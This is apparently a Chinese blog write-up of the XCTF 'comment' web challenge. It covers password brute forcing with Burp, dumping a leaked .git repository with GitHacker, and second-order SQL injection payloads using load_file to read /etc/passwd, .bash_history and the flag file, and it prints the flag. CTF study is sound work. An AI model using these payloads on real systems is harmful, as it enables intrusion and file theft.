【愚公系列】2023年06月 攻防世界-Web(comment)


前言

1.弱口令爆破

弱口令爆破是指利用计算机程序、工具或脚本,通过不断尝试猜测用户的密码来破解某个系统或账号的密码。弱口令通常是指密码太短、过于简单或者容易被猜测到的密码,如“123456”、“password”等。攻击者通过爆破弱口令,可以获取到系统或账号的控制权,进行恶意操作、窃取敏感信息等活动。因此,使用强密码以及定期更换密码可以有效防止弱口令爆破攻击。

2.Git源码泄露

Git源码泄露指的是Git仓库中的源代码被未经授权的人员获得并公开,从而导致软件项目的源代码被泄露。Git是一种流行的版本控制工具,可以用于管理软件开发过程中的源代码,而Git源码泄露则可能会导致软件源代码、API密钥、用户名和密码等敏感信息被泄露和滥用。

Git源码泄露可能出现在多个方面,例如Git仓库安全设置不当、黑客利用漏洞获取仓库权限、源代码误传到公开代码托管平台等。为了防止Git源码泄露,开发者应该注意加强Git仓库的安全设置,定期备份源代码并储存在离线设备中,以及使用安全编码实践来减少代码中敏感信息的泄露风险。此外,对于已经泄露的源代码,及时通知相关方并进行应急响应是防止泄露风险扩大的关键步骤。

3.SQL二次注入

SQL二次注入(Second-Order SQL Injection)是指攻击者在已经存在的漏洞的基础上,利用应用程序中的参数,构造出一个可执行的SQL语句,从而达到绕过原有防御的目的。

在SQL注入漏洞的基础上,攻击者可以获取到应用程序中的敏感数据,比如登录密码、银行账号、信用卡卡号等。而在SQL二次注入中,攻击者会将恶意代码插入到数据库中,并利用这些恶意代码绕过原有防御。攻击者可以利用应用程序中的某个参数,例如搜索框、表单等,将恶意代码注入到数据库中。这种注入方式不是直接将恶意代码传递到数据库中,而是将它们“隐藏”在合法的数据中,从而避免了基于关键字的检测。

为了防止SQL二次注入攻击,开发者应该掌握SQL注入的常见漏洞形式,通过添加过滤器来限制用户输入的数据,使用参数化查询等方式来防止注入攻击。此外,在程序开发中要避免使用动态拼接SQL的方式,尽量使用ORM框架等工具来进行数据操作。对于已经存在的SQL漏洞,则需要及时修复和更新代码。

一、comment

1.题目

在这里插入图片描述

2.答题

1、暴力破解密码

一开始进入留言板页面,对于留言板一般想到都是XSS攻击,随便输入数据提交发现需要登录

在这里插入图片描述
burp抓取弱口令爆破
在这里插入图片描述
发现密码为zhangwei666

2、扫描目录

在这里插入图片描述

发现git泄露

下载:git clone https://gitcode.net/mirrors/WangYihang/GitHacker.git
安装工具:python3 -m pip install GitHacker
开始使用: githacker --url http://61.147.171.105:63710/.git/ --output-folder dark

在这里插入图片描述

在这里插入图片描述
可以判断源码不完整缺失了

git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

在这里插入图片描述
回来在看文件,已经完整了
在这里插入图片描述
对代码进行审计,发现存在sql二次注入

在代码comment模块中 $category没有进行过滤就直接放入了sql语句中

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    
    
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

$category$content我们可以控制

其中注意这个sql语句是换行的,我们要用/**/ 进行拼接

$sql = "insert into comment
            set category = '123',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

在category 构造payload: 123',content=user(),/**
在这里插入图片描述
再在提交留言框中打入*/#进行二次注入
在这里插入图片描述
继续进行注入,查看密码

123',content=(select(load_file('/etc/passwd'))),/*
*/#

在这里插入图片描述
继续进行注入,读取他的history文件,里面存着他所有的命令

123',content=(select (load_file('/home/www/.bash_history'))),/*
*/#

在这里插入图片描述
继续进行注入,history命令说明原本/tmp/html/目录下有个.DS_Store文件。那么读取他

123',content=(select (load_file('/tmp/html/.DS_Store'))),/*
*/#

在这里插入图片描述
长度不够,那么hex编码一下。

123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
*/#

在这里插入图片描述
十六进制到ASCII文本
在这里插入图片描述

在这里插入图片描述
发现了一个:flag_8946e1ff1ee3e40f.php

123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
*/#

在这里插入图片描述
继续16进制解码
在这里插入图片描述
得到flag:flag{0dd14aae81d94904b3492117e2a3d4df}

猜你喜欢

转载自blog.csdn.net/aa2528877987/article/details/131296639
今日推荐